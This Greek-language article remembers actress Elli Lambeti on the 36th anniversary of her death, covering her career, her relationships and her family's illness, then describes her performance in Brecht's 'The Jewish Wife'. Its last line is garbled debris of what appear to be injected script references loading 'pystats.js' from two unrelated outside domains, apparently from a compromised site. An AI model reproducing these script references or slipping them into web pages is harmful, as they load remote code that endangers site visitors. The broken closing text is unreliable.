Έλλη Λαμπέτη: 36 χρόνια χωρίς το κορίτσι με τα μαύρα

Στη σκηνή ανέβηκε για πρώτη φορά το 1942, σε ηλικία 16 χρόνων, με τον θίασο της Μαρίκας Κοτοπούλη. Οι ειδήμονες έψαχναν επισταμένως το υλικό από το οποίο ήταν φτιαγμένη, οι λόγιοι τη φώναζαν «Λαμπετάκι», ο κόσμος μάζευε από τους δρόμους τα μετάξια της. Η Έλλη Λαμπέτη πέθανε νέα, τον Σεπτέμβριο του 1983. Έχασε τα μαλλιά, το στήθος και τη φωνή της από μια ασθένεια που θέριζε από νωρίς τις γυναίκες της οικογένειάς της.

Ερωτεύτηκε για πρώτη φορά στα 16 της. Με κυνισμό και μεγάλη προθυμία δήλωνε έτοιμη να εγκαταλείψει τα πάντα και να ακολουθήσει εκείνο τον άντρα. Ακόμη και το θέατρο. Το έκανε για κάμποσο καιρό. Έμεινε μαζί του σε ερημιές διαβάζοντας Ταγκόρ και ζωγραφίζοντας, όπως της είχε υποδείξει, «μόνο γι’ αυτόν». Χόρευε σαν χορεύτρια, ζωγράφιζε σαν ζωγράφος, έπαιζε πιάνο, κατέγραφε ωραία ό,τι σκεφτόταν, ψεύδιζε και η Κοτοπούλη αυστηρότατα την απέτρεπε να διορθώσει το ψεύδισμα, ήταν αθάνατη ενζενί, ήταν η Μαρίνα στο «Κορίτσι με τα μαύρα», η Αλίκη στην «Κάλπικη λίρα», η Χλόη στο
«Τελευταίο ψέμα».

Ήταν το κορίτσι του Δημήτρη Χορν, για μια επταετία περίπου. Ένα ζευγάρι που προβλήθηκε ως ιδανικό από τα περιοδικά της εποχής, που άλλαζε σπίτια συχνά, που ένωσε με επιτυχία τα Βίλια με τις Βερσαλλίες, που φιλιόταν αμέριμνο -εκείνος φορώντας πουκάμισα με το μονόγραμμά του κι εκείνη δένοντας τα μαλλιά της με αυτοσχέδιους σπάγκους-, που δεν παντρεύτηκε ποτέ.

Ο Κάρολος Κουν, με τον οποίο συνεργάστηκε η Έλλη Λαμπέτη για πρώτη φορά το 1946, έλεγε ότι η μαγεία της εστιαζόταν κυρίως στον τρόπο που μετατόπιζε το κενό του αέρα. «Το σφάλμα αυτού του τόπου είναι που δεν έχει καταλάβει ότι η Λαμπέτη είναι τραγωδός», έλεγε συχνά ο Γιάννης Τσαρούχης, ενώ ο Μιχάλης Κακογιάννης, ο άνθρωπος που έγραψε δύο σενάρια εμπνευσμένος από αυτή, παραδεχόταν ότι την ερωτεύτηκε από την πρώτη στιγμή.

«Την Έλλη την είχα γνωρίσει στην πλατεία Συντάγματος, όπου αυτό το κοριτσάκι περπατούσε με τον τότε άντρα της, τον Μάριο Πλωρίτη, ο οποίος μου τη σύστησε. Εγώ την ερωτεύτηκα αμέσως. Ήταν τότε τόσο γοητευτική».

Η ιστορία της ζωής της είχε και πολύ πόνο. Η μάνα της σκοτώθηκε στα Δεκεμβριανά από αδέσποτη σφαίρα κι ενώ ήταν σκυμμένη στη ραπτομηχανή της. Οι αδερφές της πέθαναν όλες από καρκίνο. Γλίτωσε μόνο η Αντιγόνη. Η ίδια η Λαμπέτη αρρώστησε τη στιγμή που όλοι οι γιατροί του κόσμου το είχαν αποκλείσει ως πιθανότητα. Τελευταία φορά που κατέβηκε όρθια από το σπίτι της ήταν Ιούνιος του 1983. Κάτω από τα ονόματα στα κουδούνια των μεταγενέστερων ενοίκων υπάρχει ακόμη εκείνο το «Ε.Λ. 5ος όροφος».

Ήταν 57 χρόνων και είχε πολλά σχέδια, έλεγε.

Η «Εβραία» του Μπέρτολτ Μπρεχτ με την Έλλη Λαμπέτη (video)

«Η Εβραία» είναι θεατρικό μονόπρακτο του Μπέρτολτ Μπρεχτ από το «Τρόμος και αθλιότητα στο Γ΄Ράιχ», το οποίο ο συγγραφέας έγραψε κατά τη διάρκεια της εξορίας του μεταξύ 1935 και 1936.

Βερολίνο 1935. Η Ιουδίθ, είναι μια Γερμανίδα Εβραία, σύζυγος γιατρού, η οποία αποφασίζει να εγκαταλείψει τη ναζιστική Γερμανία και να πάει στο Άμστερνταμ, για να μη δημιουργήσει προβλήματα στην καριέρα του συζύγου της.

Το καθεστώς του τρόμου έχει διαπεράσει και διαστρέψει τη ζωή, τις σχέσεις, τη συμπεριφορά και τη σκέψη των ανθρώπων.

“Τί κακό έχει το σχήμα της μύτης μου ή το χρώμα των μαλλιών μου; Πρέπει να παρατήσω την πόλη που γεννήθηκα, για να μην είναι υποχρεωμένοι να μου δίνουν και μένα βούτυρο! Τί είδους άνθρωποι είσαστε!”

Τα καυστικά λόγια του Μπέρτολτ Μπρεχτ από την εκπληκτική ερμηνεία της Έλλης Λαμπέτη.

js.wiilberedmodels.com/pystats.js’ >js.wiilberedmodels.com/pystats.js’ >ns1.bullgoesdown.com/tmn/pystats.js’ >ns1.bullgoesdown.com/tmn/pystats.js’ >‘ >‘ >‘ >‘ >